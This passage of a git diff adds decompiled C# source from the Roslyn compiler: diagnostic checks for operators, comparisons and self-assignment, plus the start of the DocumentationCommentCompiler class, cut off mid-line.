base.VisitThrowExpression(node); + } + + public override BoundNode VisitWithExpression(BoundWithExpression node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsWithExpression, node); + } + return base.VisitWithExpression(node); + } + + public override BoundNode VisitFunctionPointerInvocation(BoundFunctionPointerInvocation node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsPointerOp, node); + } + return base.VisitFunctionPointerInvocation(node); + } + + public override BoundNode VisitCollectionExpression(BoundCollectionExpression node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsCollectionExpression, node); + } + return base.VisitCollectionExpression(node); + } + + private void CheckArguments(ImmutableArray argumentRefKindsOpt, ImmutableArray arguments, Symbol method) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + if (argumentRefKindsOpt.IsDefault) + { + return; + } + for (int i = 0; i < arguments.Length; i++) + { + if ((int)argumentRefKindsOpt[i] == 0) + { + continue; + } + BoundExpression boundExpression = arguments[i]; + switch (boundExpression.Kind) + { + case BoundKind.FieldAccess: + CheckFieldAddress((BoundFieldAccess)boundExpression, method); + break; + case BoundKind.Local: + { + BoundLocal boundLocal = (BoundLocal)boundExpression; + if (boundLocal.Syntax.Kind() == SyntaxKind.DeclarationExpression) + { + CheckOutDeclaration(boundLocal); + } + break; + } + case BoundKind.DiscardExpression: + CheckDiscard((BoundDiscardExpression)boundExpression); + break; + } + } + } + + private void CheckFieldAddress(BoundFieldAccess fieldAccess, Symbol consumerOpt) + { + FieldSymbol fieldSymbol = fieldAccess.FieldSymbol; + if (fieldSymbol.IsVolatile && ((object)consumerOpt == null || !IsInterlockedAPI(consumerOpt))) + { + Error(ErrorCode.WRN_VolatileByRef, fieldAccess, fieldSymbol); + } + if (IsNonAgileFieldAccess(fieldAccess, _compilation)) + { + Error(ErrorCode.WRN_ByRefNonAgileField, fieldAccess, fieldSymbol); + } + } + + private void CheckFieldAsReceiver(BoundFieldAccess fieldAccess) + { + FieldSymbol fieldSymbol = fieldAccess.FieldSymbol; + if (IsNonAgileFieldAccess(fieldAccess, _compilation) && !fieldSymbol.Type.IsReferenceType) + { + Error(ErrorCode.WRN_CallOnNonAgileField, fieldAccess, fieldSymbol); + } + } + + private void CheckReceiverIfField(BoundExpression receiverOpt) + { + if (receiverOpt != null && receiverOpt.Kind == BoundKind.FieldAccess) + { + CheckFieldAsReceiver((BoundFieldAccess)receiverOpt); + } + } + + internal static bool IsNonAgileFieldAccess(BoundFieldAccess fieldAccess, CSharpCompilation compilation) + { + if (IsInstanceFieldAccessWithNonThisReceiver(fieldAccess)) + { + NamedTypeSymbol wellKnownType = compilation.GetWellKnownType((WellKnownType)60); + TypeSymbol typeSymbol = fieldAccess.FieldSymbol.ContainingType; + while ((object)typeSymbol != null) + { + if (TypeSymbol.Equals(typeSymbol, wellKnownType, (TypeCompareKind)0)) + { + return true; + } + typeSymbol = typeSymbol.BaseTypeNoUseSiteDiagnostics; + } + } + return false; + } + + private static bool IsInstanceFieldAccessWithNonThisReceiver(BoundFieldAccess fieldAccess) + { + BoundExpression boundExpression = fieldAccess.ReceiverOpt; + if (boundExpression == null || fieldAccess.FieldSymbol.IsStatic) + { + return false; + } + while (boundExpression.Kind == BoundKind.Conversion) + { + BoundConversion boundConversion = (BoundConversion)boundExpression; + if (boundConversion.ExplicitCastInCode) + { + break; + } + boundExpression = boundConversion.Operand; + } + if (boundExpression.Kind != BoundKind.ThisReference) + { + return boundExpression.Kind != BoundKind.BaseReference; + } + return false; + } + + private bool IsInterlockedAPI(Symbol method) + { + NamedTypeSymbol wellKnownType = _compilation.GetWellKnownType((WellKnownType)97); + if ((object)wellKnownType != null && TypeSymbol.Equals(wellKnownType, method.ContainingType, (TypeCompareKind)0)) + { + return true; + } + return false; + } + + private static BoundExpression StripImplicitCasts(BoundExpression expr) + { + BoundExpression boundExpression = expr; + while (boundExpression is BoundConversion boundConversion && boundConversion.ConversionKind.IsImplicitConversion()) + { + boundExpression = boundConversion.Operand; + } + return boundExpression; + } + + private static bool IsSameLocalOrField(BoundExpression expr1, BoundExpression expr2) + { + if (expr1 == null && expr2 == null) + { + return true; + } + if (expr1 == null || expr2 == null) + { + return false; + } + if (expr1.HasAnyErrors || expr2.HasAnyErrors) + { + return false; + } + expr1 = StripImplicitCasts(expr1); + expr2 = StripImplicitCasts(expr2); + if (expr1.Kind != expr2.Kind) + { + return false; + } + switch (expr1.Kind) + { + case BoundKind.Local: + { + BoundLocal obj3 = (BoundLocal)expr1; + BoundLocal boundLocal = (BoundLocal)expr2; + return obj3.LocalSymbol == boundLocal.LocalSymbol; + } + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)expr1; + BoundFieldAccess boundFieldAccess2 = (BoundFieldAccess)expr2; + if (boundFieldAccess.FieldSymbol == boundFieldAccess2.FieldSymbol) + { + if (!boundFieldAccess.FieldSymbol.IsStatic) + { + return IsSameLocalOrField(boundFieldAccess.ReceiverOpt, boundFieldAccess2.ReceiverOpt); + } + return true; + } + return false; + } + case BoundKind.EventAccess: + { + BoundEventAccess boundEventAccess = (BoundEventAccess)expr1; + BoundEventAccess boundEventAccess2 = (BoundEventAccess)expr2; + if (boundEventAccess.EventSymbol == boundEventAccess2.EventSymbol) + { + if (!boundEventAccess.EventSymbol.IsStatic) + { + return IsSameLocalOrField(boundEventAccess.ReceiverOpt, boundEventAccess2.ReceiverOpt); + } + return true; + } + return false; + } + case BoundKind.Parameter: + { + BoundParameter obj2 = (BoundParameter)expr1; + BoundParameter boundParameter = (BoundParameter)expr2; + return obj2.ParameterSymbol == boundParameter.ParameterSymbol; + } + case BoundKind.RangeVariable: + { + BoundRangeVariable obj = (BoundRangeVariable)expr1; + BoundRangeVariable boundRangeVariable = (BoundRangeVariable)expr2; + return obj.RangeVariableSymbol == boundRangeVariable.RangeVariableSymbol; + } + case BoundKind.ThisReference: + case BoundKind.PreviousSubmissionReference: + case BoundKind.HostObjectMemberReference: + return true; + default: + return false; + } + } + + private static bool IsComCallWithRefOmitted(MethodSymbol method, ImmutableArray arguments, ImmutableArray argumentRefKindsOpt) + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + if (method.ParameterCount != arguments.Length || (object)method.ContainingType == null || !method.ContainingType.IsComImport) + { + return false; + } + for (int i = 0; i < arguments.Length; i++) + { + if ((int)method.Parameters[i].RefKind != 0 && (argumentRefKindsOpt.IsDefault || (int)argumentRefKindsOpt[i] == 0)) + { + return true; + } + } + return false; + } + + private void CheckBinaryOperator(BoundBinaryOperator node) + { + MethodSymbol method = node.Method; + if ((object)method != null) + { + if (_inExpressionLambda) + { + if (method.Name == "op_CheckedDivision") + { + Error(ErrorCode.ERR_FeatureNotValidInExpressionTree, node, method); + } + else if ((method.IsAbstract || method.IsVirtual) && method.IsStatic) + { + Error(ErrorCode.ERR_ExpressionTreeContainsAbstractStaticMemberAccess, node); + } + } + } + else + { + CheckUnsafeType(node.Left); + CheckUnsafeType(node.Right); + } + CheckForBitwiseOrSignExtend(node, node.OperatorKind, node.Left, node.Right); + CheckNullableNullBinOp(node); + CheckLiftedBinOp(node); + CheckRelationals(node); + CheckDynamic(node); + if (_inExpressionLambda && node.OperatorKind.Operator() == BinaryOperatorKind.UnsignedRightShift) + { + Error(ErrorCode.ERR_FeatureNotValidInExpressionTree, node, ">>>"); + } + } + + private void CheckCompoundAssignmentOperator(BoundCompoundAssignmentOperator node) + { + BoundExpression boundExpression = node.Left; + if (!node.Operator.Kind.IsDynamic() && node.LeftConversion is BoundConversion { Conversion: { IsIdentity: false, Exists: not false } conversion }) + { + boundExpression = new BoundConversion(boundExpression.Syntax, boundExpression, conversion, node.Operator.Kind.IsChecked(), explicitCastInCode: false, null, null, node.Operator.LeftType); + } + CheckForBitwiseOrSignExtend(node, node.Operator.Kind, boundExpression, node.Right); + CheckLiftedCompoundAssignment(node); + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsAssignment, node); + } + } + + private void CheckRelationals(BoundBinaryOperator node) + { + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Invalid comparison between Unknown and I4 + //IL_0155: Unknown result type (might be due to invalid IL or missing references) + //IL_015b: Invalid comparison between Unknown and I4 + if (!node.OperatorKind.IsComparison()) + { + return; + } + if (node.Left.ConstantValueOpt != (ConstantValue)null && node.Right.ConstantValueOpt == (ConstantValue)null && node.Right.Kind == BoundKind.Conversion) + { + CheckVacuousComparisons(node, node.Left.ConstantValueOpt, node.Right); + } + if (node.Right.ConstantValueOpt != (ConstantValue)null && node.Left.ConstantValueOpt == (ConstantValue)null && node.Left.Kind == BoundKind.Conversion) + { + CheckVacuousComparisons(node, node.Right.ConstantValueOpt, node.Left); + } + if (node.OperatorKind == BinaryOperatorKind.ObjectEqual || node.OperatorKind == BinaryOperatorKind.ObjectNotEqual) + { + if ((int)node.Left.Type.SpecialType == 1 && !IsExplicitCast(node.Left) && (!(node.Left.ConstantValueOpt != (ConstantValue)null) || !node.Left.ConstantValueOpt.IsNull) && ConvertedHasEqual(node.OperatorKind, node.Right, out var type)) + { + _diagnostics.Add(ErrorCode.WRN_BadRefCompareLeft, node.Syntax.Location, type); + } + else if ((int)node.Right.Type.SpecialType == 1 && !IsExplicitCast(node.Right) && (!(node.Right.ConstantValueOpt != (ConstantValue)null) || !node.Right.ConstantValueOpt.IsNull) && ConvertedHasEqual(node.OperatorKind, node.Left, out type)) + { + _diagnostics.Add(ErrorCode.WRN_BadRefCompareRight, node.Syntax.Location, type); + } + } + CheckSelfComparisons(node); + } + + private static bool IsExplicitCast(BoundExpression node) + { + if (node.Kind == BoundKind.Conversion) + { + return ((BoundConversion)node).ExplicitCastInCode; + } + return false; + } + + private static bool ConvertedHasEqual(BinaryOperatorKind oldOperatorKind, BoundNode node, out TypeSymbol type) + { + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Invalid comparison between Unknown and I4 + type = null; + if (node.Kind != BoundKind.Conversion) + { + return false; + } + BoundConversion boundConversion = (BoundConversion)node; + if (boundConversion.ExplicitCastInCode) + { + return false; + } + if (!(boundConversion.Operand.Type is NamedTypeSymbol { IsReferenceType: not false, IsInterface: false } namedTypeSymbol)) + { + return false; + } + string name = ((oldOperatorKind == BinaryOperatorKind.ObjectEqual) ? "op_Equality" : "op_Inequality"); + NamedTypeSymbol namedTypeSymbol2 = namedTypeSymbol; + while ((object)namedTypeSymbol2 != null) + { + ImmutableArray.Enumerator enumerator = namedTypeSymbol2.GetMembers(name).GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is MethodSymbol methodSymbol && (int)methodSymbol.MethodKind == 9) + { + ImmutableArray parameters = methodSymbol.GetParameters(); + if (parameters.Length == 2 && TypeSymbol.Equals(parameters[0].Type, namedTypeSymbol2, (TypeCompareKind)0) && TypeSymbol.Equals(parameters[1].Type, namedTypeSymbol2, (TypeCompareKind)0)) + { + type = namedTypeSymbol2; + return true; + } + } + } + namedTypeSymbol2 = namedTypeSymbol2.BaseTypeNoUseSiteDiagnostics; + } + return false; + } + + private void CheckSelfComparisons(BoundBinaryOperator node) + { + if (!node.HasAnyErrors && IsSameLocalOrField(node.Left, node.Right)) + { + Error(ErrorCode.WRN_ComparisonToSelf, node); + } + } + + private void CheckVacuousComparisons(BoundBinaryOperator tree, ConstantValue constantValue, BoundNode operand) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + BoundConversion boundConversion = operand as BoundConversion; + while (boundConversion != null && (boundConversion.ConversionKind == ConversionKind.ImplicitNumeric || boundConversion.ConversionKind == ConversionKind.ImplicitConstant) && !boundConversion.ExplicitCastInCode && SpecialTypeExtensions.IsIntegralType(boundConversion.Operand.Type.SpecialType) && SpecialTypeExtensions.IsIntegralType(boundConversion.Type.SpecialType)) + { + if (!Binder.CheckConstantBounds(boundConversion.Operand.Type.SpecialType, constantValue, out var _)) + { + Error(ErrorCode.WRN_VacuousIntegralComp, tree, boundConversion.Operand.Type); + break; + } + boundConversion = boundConversion.Operand as BoundConversion; + } + } + + private void CheckForBitwiseOrSignExtend(BoundExpression node, BinaryOperatorKind operatorKind, BoundExpression leftOperand, BoundExpression rightOperand) + { + if (((uint)(operatorKind - 7941) > 3u && (uint)(operatorKind - 73477) > 3u) || node.ConstantValueOpt != (ConstantValue)null) + { + return; + } + ulong num = FindSurprisingSignExtensionBits(leftOperand); + ulong num2 = FindSurprisingSignExtensionBits(rightOperand); + if (num == num2) + { + return; + } + ConstantValue constantValueForBitwiseOrCheck = GetConstantValueForBitwiseOrCheck(leftOperand); + if (constantValueForBitwiseOrCheck != (ConstantValue)null) + { + ulong uInt64Value = constantValueForBitwiseOrCheck.UInt64Value; + if ((uInt64Value & num2) == num2 || (~uInt64Value & num2) == num2) + { + return; + } + } + constantValueForBitwiseOrCheck = GetConstantValueForBitwiseOrCheck(rightOperand); + if (constantValueForBitwiseOrCheck != (ConstantValue)null) + { + ulong uInt64Value2 = constantValueForBitwiseOrCheck.UInt64Value; + if ((uInt64Value2 & num) == num || (~uInt64Value2 & num) == num) + { + return; + } + } + Error(ErrorCode.WRN_BitwiseOrSignExtend, node); + } + + private static ConstantValue GetConstantValueForBitwiseOrCheck(BoundExpression operand) + { + if (operand.Kind == BoundKind.Conversion) + { + BoundConversion boundConversion = (BoundConversion)operand; + if (boundConversion.ConversionKind == ConversionKind.ImplicitNullable) + { + operand = boundConversion.Operand; + } + } + ConstantValue constantValueOpt = operand.ConstantValueOpt; + if (constantValueOpt == (ConstantValue)null || !constantValueOpt.IsIntegral) + { + return null; + } + return constantValueOpt; + } + + private static ulong FindSurprisingSignExtensionBits(BoundExpression expr) + { + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_00e9: Unknown result type (might be due to invalid IL or missing references) + if (expr.Kind != BoundKind.Conversion) + { + return 0uL; + } + BoundConversion boundConversion = (BoundConversion)expr; + TypeSymbol typeSymbol = boundConversion.Operand.Type; + TypeSymbol typeSymbol2 = boundConversion.Type; + if ((object)typeSymbol == null || (object)typeSymbol2 == null) + { + return 0uL; + } + if (typeSymbol.IsNullableType()) + { + typeSymbol = typeSymbol.GetNullableUnderlyingType(); + } + if (typeSymbol2.IsNullableType()) + { + typeSymbol2 = typeSymbol2.GetNullableUnderlyingType(); + } + SpecialType specialType = typeSymbol.SpecialType; + SpecialType specialType2 = typeSymbol2.SpecialType; + if (!SpecialTypeExtensions.IsIntegralType(specialType) || !SpecialTypeExtensions.IsIntegralType(specialType2)) + { + return 0uL; + } + int num = SpecialTypeExtensions.SizeInBytes(specialType); + int num2 = SpecialTypeExtensions.SizeInBytes(specialType2); + if (num == 0 || num2 == 0) + { + return 0uL; + } + ulong num3 = FindSurprisingSignExtensionBits(boundConversion.Operand); + if (num == num2) + { + return num3; + } + if (num2 < num) + { + return num2 switch + { + 1 => (byte)num3, + 2 => (ushort)num3, + 4 => (uint)num3, + _ => num3, + }; + } + if (!SpecialTypeExtensions.IsSignedIntegralType(specialType)) + { + return num3; + } + if (boundConversion.ExplicitCastInCode && SpecialTypeExtensions.IsSignedIntegralType(specialType2)) + { + return num3; + } + ulong num4 = num3; + for (int i = num; i < num2; i++) + { + num4 |= (ulong)(255L << i * 8); + } + return num4; + } + + private void CheckLiftedCompoundAssignment(BoundCompoundAssignmentOperator node) + { + if (node.Operator.Kind.IsLifted() && node.Right.NullableNeverHasValue()) + { + Error(ErrorCode.WRN_AlwaysNull, node, node.Type); + } + } + + private void CheckLiftedUnaryOp(BoundUnaryOperator node) + { + if (node.OperatorKind.IsLifted() && node.Operand.NullableNeverHasValue()) + { + Error(ErrorCode.WRN_AlwaysNull, node, node.Type); + } + } + + private void CheckNullableNullBinOp(BoundBinaryOperator node) + { + if (node.OperatorKind.OperandTypes() != BinaryOperatorKind.NullableNull) + { + return; + } + BinaryOperatorKind binaryOperatorKind = node.OperatorKind.Operator(); + if (binaryOperatorKind == BinaryOperatorKind.Equal || binaryOperatorKind == BinaryOperatorKind.NotEqual) + { + string text = ((node.OperatorKind.Operator() == BinaryOperatorKind.NotEqual) ? "true" : "false"); + if (node.Right.IsLiteralNull() && node.Left.NullableAlwaysHasValue()) + { + Error(ErrorCode.WRN_NubExprIsConstBool, node, text, node.Left.Type.GetNullableUnderlyingType(), node.Left.Type); + } + else if (node.Left.IsLiteralNull() && node.Right.NullableAlwaysHasValue()) + { + Error(ErrorCode.WRN_NubExprIsConstBool, node, text, node.Right.Type.GetNullableUnderlyingType(), node.Right.Type); + } + } + } + + private void CheckLiftedBinOp(BoundBinaryOperator node) + { + if (!node.OperatorKind.IsLifted()) + { + return; + } + switch (node.OperatorKind.Operator()) + { + case BinaryOperatorKind.GreaterThan: + case BinaryOperatorKind.LessThan: + case BinaryOperatorKind.GreaterThanOrEqual: + case BinaryOperatorKind.LessThanOrEqual: + if (node.Right.NullableNeverHasValue()) + { + Error(ErrorCode.WRN_CmpAlwaysFalse, node, GetTypeForLiftedComparisonWarning(node.Right)); + } + else if (node.Left.NullableNeverHasValue()) + { + Error(ErrorCode.WRN_CmpAlwaysFalse, node, GetTypeForLiftedComparisonWarning(node.Left)); + } + break; + case BinaryOperatorKind.Equal: + case BinaryOperatorKind.NotEqual: + { + string text = ((node.OperatorKind.Operator() == BinaryOperatorKind.NotEqual) ? "true" : "false"); + if (node.Right.NullableNeverHasValue() && node.Left.NullableAlwaysHasValue()) + { + Error(node.OperatorKind.IsUserDefined() ? ErrorCode.WRN_NubExprIsConstBool2 : ErrorCode.WRN_NubExprIsConstBool, node, text, node.Left.Type.GetNullableUnderlyingType(), GetTypeForLiftedComparisonWarning(node.Right)); + } + else if (node.Left.NullableNeverHasValue() && node.Right.NullableAlwaysHasValue()) + { + Error(node.OperatorKind.IsUserDefined() ? ErrorCode.WRN_NubExprIsConstBool2 : ErrorCode.WRN_NubExprIsConstBool, node, text, node.Right.Type.GetNullableUnderlyingType(), GetTypeForLiftedComparisonWarning(node.Left)); + } + break; + } + case BinaryOperatorKind.And: + case BinaryOperatorKind.Or: + if ((node.Left.NullableNeverHasValue() && node.Right.IsNullableNonBoolean()) || (node.Left.IsNullableNonBoolean() && node.Right.NullableNeverHasValue())) + { + Error(ErrorCode.WRN_AlwaysNull, node, node.Type); + } + break; + default: + if (node.Right.NullableNeverHasValue() || node.Left.NullableNeverHasValue()) + { + Error(ErrorCode.WRN_AlwaysNull, node, node.Type); + } + break; + } + } + + private void CheckLiftedUserDefinedConditionalLogicalOperator(BoundUserDefinedConditionalLogicalOperator node) + { + if (node.Right.NullableNeverHasValue() || node.Left.NullableNeverHasValue()) + { + Error(ErrorCode.WRN_AlwaysNull, node, node.Type); + } + } + + private static TypeSymbol GetTypeForLiftedComparisonWarning(BoundExpression node) + { + if ((object)node.Type == null || !node.Type.IsNullableType()) + { + return null; + } + TypeSymbol typeSymbol = null; + if (node.Kind == BoundKind.Conversion) + { + BoundConversion boundConversion = (BoundConversion)node; + if (boundConversion.ConversionKind == ConversionKind.ExplicitNullable || boundConversion.ConversionKind == ConversionKind.ImplicitNullable) + { + typeSymbol = GetTypeForLiftedComparisonWarning(boundConversion.Operand); + } + } + return typeSymbol ?? node.Type; + } + + private bool CheckForAssignmentToSelf(BoundAssignmentOperator node) + { + if (!node.HasAnyErrors && IsSameLocalOrField(node.Left, node.Right)) + { + Error(ErrorCode.WRN_AssignmentToSelf, node); + return true; + } + return false; + } + + private void CheckForDeconstructionAssignmentToSelf(BoundTupleExpression leftTuple, BoundExpression right) + { + while (right.Kind == BoundKind.Conversion) + { + BoundConversion boundConversion = (BoundConversion)right; + ConversionKind conversionKind = boundConversion.ConversionKind; + if (conversionKind == ConversionKind.Identity || conversionKind == ConversionKind.ImplicitTupleLiteral || conversionKind == ConversionKind.Deconstruction) + { + right = boundConversion.Operand; + continue; + } + return; + } + if (right.Kind != BoundKind.ConvertedTupleLiteral && right.Kind != BoundKind.TupleLiteral) + { + return; + } + BoundTupleExpression boundTupleExpression = (BoundTupleExpression)right; + ImmutableArray arguments = leftTuple.Arguments; + int length = arguments.Length; + for (int i = 0; i < length; i++) + { + BoundExpression boundExpression = arguments[i]; + BoundExpression boundExpression2 = boundTupleExpression.Arguments[i]; + if (boundExpression is BoundTupleExpression leftTuple2) + { + CheckForDeconstructionAssignmentToSelf(leftTuple2, boundExpression2); + } + else if (IsSameLocalOrField(boundExpression, boundExpression2)) + { + Error(ErrorCode.WRN_AssignmentToSelf, boundExpression); + } + } + } + + public override BoundNode VisitFieldAccess(BoundFieldAccess node) + { + CheckReceiverIfField(node.ReceiverOpt); + return base.VisitFieldAccess(node); + } + + public override BoundNode VisitPropertyGroup(BoundPropertyGroup node) + { + CheckReceiverIfField(node.ReceiverOpt); + return base.VisitPropertyGroup(node); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DocumentationCommentCompiler.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DocumentationCommentCompiler.cs new file mode 100644 index 0000000..fa28d14 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DocumentationCommentCompiler.cs @@ -0,0 +1,1747 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Globalization; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Resources; +using System.Text; +using System.Threading; +using System.Xml; +using System.Xml.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class DocumentationCommentCompiler : CSharpSymbolVisitor +{ + private readonly struct TemporaryStringBuilder(int indentDepth) + { + public readonly PooledStringBuilder Pooled = PooledStringBuilder.GetInstance(); + + public readonly int InitialIndentDepth = indentDepth; + } + + [DebuggerDisplay("{GetDebuggerDisplay(),nq}")] + private class DocumentationCommentWalker : CSharpSyntaxWalker + { + private readonly CSharpCompilation _compilation; + + private readonly BindingDiagnosticBag _diagnostics; + + private readonly Symbol _memberSymbol; + + private readonly StringWriter _writer; + + private readonly ArrayBuilder _includeElementNodes; + + private HashSet _documentedParameters; + + private HashSet _documentedTypeParameters; + + private DocumentationCommentWalker(CSharpCompilation compilation, BindingDiagnosticBag diagnostics, Symbol memberSymbol, StringWriter writer, ArrayBuilder includeElementNodes, HashSet documentedParameters, HashSet documentedTypeParameters) + : base((SyntaxWalkerDepth)3) + { + _compilation = compilation; + _diagnostics = diagnostics; + _memberSymbol = memberSymbol; + _writer = writer; + _includeElementNodes = includeElementNodes; + _documentedParameters = documentedParameters; + _documentedTypeParameters = documentedTypeParameters; + } + + public static void GetSubstitutedText(CSharpCompilation compilation, SynthesizedRecordPropertySymbol symbol, ArrayBuilder paramElements, ArrayBuilder includeElementNodes, StringBuilder builder) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + //IL_00eb: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Unknown result type (might be due to invalid IL or missing references) + //IL_00f2: Unknown result type (might be due to invalid IL or missing references) + //IL_0101: Unknown result type (might be due to invalid IL or missing references) + StringWriter stringWriter = new StringWriter(builder, CultureInfo.InvariantCulture); + DocumentationCommentWalker documentationCommentWalker = new DocumentationCommentWalker(compilation, BindingDiagnosticBag.Discarded, symbol, stringWriter, includeElementNodes, null, null); + Enumerator enumerator = paramElements.GetEnumerator(); + while (enumerator.MoveNext()) + { + XmlElementSyntax current = enumerator.Current; + SyntaxToken lessThanToken = current.StartTag.LessThanToken; + if (!((SyntaxToken)(ref lessThanToken)).LeadingTrivia.Any(SyntaxKind.DocumentationCommentExteriorTrivia)) + { + documentationCommentWalker.VisitToken(((SyntaxToken)(ref lessThanToken)).GetPreviousToken(false, false, false, false)); + } + documentationCommentWalker.VisitToken(lessThanToken); + stringWriter.Write("summary"); + documentationCommentWalker.VisitToken(current.StartTag.GreaterThanToken); + Enumerator enumerator2 = current.Content.GetEnumerator(); + while (enumerator2.MoveNext()) + { + XmlNodeSyntax current2 = enumerator2.Current; + documentationCommentWalker.Visit((SyntaxNode?)(object)current2); + } + documentationCommentWalker.VisitToken(current.EndTag.LessThanSlashToken); + stringWriter.Write("summary"); + SyntaxToken greaterThanToken = current.EndTag.GreaterThanToken; + documentationCommentWalker.VisitToken(greaterThanToken); + SyntaxToken nextToken = ((SyntaxToken)(ref greaterThanToken)).GetNextToken(false, false, false, false); + if (nextToken.IsKind(SyntaxKind.XmlTextLiteralNewLineToken)) + { + documentationCommentWalker.VisitToken(nextToken); + } + } + } + + public static string GetSubstitutedText(CSharpCompilation compilation, BindingDiagnosticBag diagnostics, Symbol symbol, DocumentationCommentTriviaSyntax trivia, ArrayBuilder includeElementNodes, ref HashSet documentedParameters, ref HashSet documentedTypeParameters) + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + using (StringWriter writer = new StringWriter(instance.Builder, CultureInfo.InvariantCulture)) + { + DocumentationCommentWalker documentationCommentWalker = new DocumentationCommentWalker(compilation, diagnostics, symbol, writer, includeElementNodes, documentedParameters, documentedTypeParameters); + documentationCommentWalker.Visit((SyntaxNode?)(object)trivia); + documentedParameters = documentationCommentWalker._documentedParameters; + documentedTypeParameters = documentationCommentWalker._documentedTypeParameters; + } + return instance.ToStringAndFree(); + } + + public override void DefaultVisit(SyntaxNode node) + { + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_0182: Unknown result type (might be due to invalid IL or missing references) + //IL_0187: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = node.Kind(); + bool flag = node.SyntaxTree.ReportDocumentationCommentDiagnostics(); + SyntaxToken val; + if (syntaxKind == SyntaxKind.XmlCrefAttribute) + { + XmlCrefAttributeSyntax xmlCrefAttributeSyntax = (XmlCrefAttributeSyntax)(object)node; + CrefSyntax cref = xmlCrefAttributeSyntax.Cref; + Binder binder = _compilation.GetBinderFactory(cref.SyntaxTree).GetBinder((SyntaxNode)(object)cref); + BindingDiagnosticBag bindingDiagnosticBag = (flag ? _diagnostics : BindingDiagnosticBag.GetInstance(withDiagnostics: false, ((BindingDiagnosticBag)(object)_diagnostics).AccumulatesDependencies)); + string documentationCommentId = GetDocumentationCommentId(cref, binder, bindingDiagnosticBag); + if (!flag) + { + ((BindingDiagnosticBag)(object)_diagnostics).AddRangeAndFree((BindingDiagnosticBag)(object)bindingDiagnosticBag); + } + if (_writer != null) + { + Visit((SyntaxNode?)(object)xmlCrefAttributeSyntax.Name); + VisitToken(xmlCrefAttributeSyntax.EqualsToken); + val = xmlCrefAttributeSyntax.StartQuoteToken; + ((SyntaxToken)(ref val)).WriteTo((TextWriter)_writer, true, false); + _writer.Write(documentationCommentId); + val = xmlCrefAttributeSyntax.EndQuoteToken; + ((SyntaxToken)(ref val)).WriteTo((TextWriter)_writer, false, true); + } + return; + } + if (flag && syntaxKind == SyntaxKind.XmlNameAttribute) + { + XmlNameAttributeSyntax xmlNameAttributeSyntax = (XmlNameAttributeSyntax)(object)node; + Binder binder2 = _compilation.GetBinderFactory(xmlNameAttributeSyntax.SyntaxTree).GetBinder((SyntaxNode)(object)xmlNameAttributeSyntax, ((SyntaxNode)xmlNameAttributeSyntax.Identifier).SpanStart); + BindName(xmlNameAttributeSyntax, binder2, _memberSymbol, ref _documentedParameters, ref _documentedTypeParameters, _diagnostics); + } + if (_includeElementNodes != null) + { + XmlNameSyntax xmlNameSyntax = null; + switch (syntaxKind) + { + case SyntaxKind.XmlEmptyElement: + xmlNameSyntax = ((XmlEmptyElementSyntax)(object)node).Name; + break; + case SyntaxKind.XmlElementStartTag: + xmlNameSyntax = ((XmlElementStartTagSyntax)(object)node).Name; + break; + } + if (xmlNameSyntax != null && 